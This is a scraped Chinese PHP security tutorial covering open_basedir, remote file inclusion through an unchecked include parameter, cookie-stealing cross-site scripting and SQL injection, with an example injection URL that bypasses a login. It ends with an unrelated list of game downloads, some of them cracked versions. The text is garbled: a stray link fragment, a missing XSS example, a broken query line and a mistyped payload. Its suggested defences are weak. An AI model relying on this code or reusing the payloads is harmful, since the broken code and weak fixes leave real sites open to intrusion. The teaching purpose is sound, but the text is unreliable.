百度一下。设定open_basedir后只有指定的目录和子目录下的php脚本才会被执行。
用php读取open_basedir以外的目录或文件会报错
权限不足
一般虚拟主机供应商都是设定为/tmp和/home
这是用户习惯了,我们要想办法解决这些问题了,下面总结了一些php安全问题。
1.include的时候要小心,要判断你本地是否有这个文件,以免造成安全漏洞。
比如:
代码如下 | 复制代码 |
include $module.'.php'; ?> |
这里假设$module是function/42833.htm target=_blank >全局变量。
这个脚本让攻击者有机会在你的服务器上执行任何的php代码,比如他在浏览器url后面加上?module=http://example.com/my就行了。当php接收到这个url的时候,脚本中的"$module"变量的值将被设置为http://example.com/my。因此当php执行include的时候就很危险了......
解决办法:关闭php.ini中的register_globals或include的时候判断一下。
代码如下 | 复制代码 |
if(file_exists($module.'.php')){ include $module.'.php'; } ?> |
2.跨站运行脚本。
简单的说是攻击者可以在用户的浏览器端执行一些客户端的脚本,例如js,然后盗取用户的cookies或其他重要数据。
比如
如果你点击了按钮,你本地的cookie信息将会被发送的某个人的邮箱(由此可见你想做个盗取用户信息的网站是多么容易)。
3.SQL注入
个人觉得是sql自身的灵活,易用给自己带来的负面影响。
代码如下 | 复制代码 |
$query "select login_id from users where user='$user' and pwd='$pw'"; mysql_query($query); ?> |
比如用人写了
http://example.com/login.php?user=admin'%20OR%20(user='&pwd=')%20R%20user='
你的php代码可能变成。
代码如下 | 复制代码 |
$query = "select login_id from user where user='admin' or (user = '' and pwd='') or user=''"; mysql_query($query); ?> |
可以用函数进行过滤,过滤掉(') ("),()等等
茶杯头甜蜜终章dlc 官方手机版v1.0.0.3
下载火柴人传说暗影格斗内置菜单 最新版v3.0.1
下载荒野乱斗测试服 安卓版v61.10.3
下载荒野乱斗彩虹服 安卓版v61.10.3
下载寒霜启示录 安卓版v1.25.10
寒霜启示录是一款生存模拟游戏,不少玩家可能对于末日都有着自己
末日城堡免广告版 安卓最新版v0.7.1
末日城堡免广告版是一款非常好玩的模拟经营类游戏,内部可以不看
甜蜜人生模拟器 最新版v1.4.5
甜蜜人生模拟器是一款非常好玩的模拟恋爱手游,玩家在这里能够对
武器锻造师内置功能菜单 v10.4
武器锻造师内置菜单版是游戏的破解版本,在该版本中为玩家提供了
开放空间overfield 安卓版v1.0.5
开放空间Overfield是一款箱庭养成经营手游,让你在广阔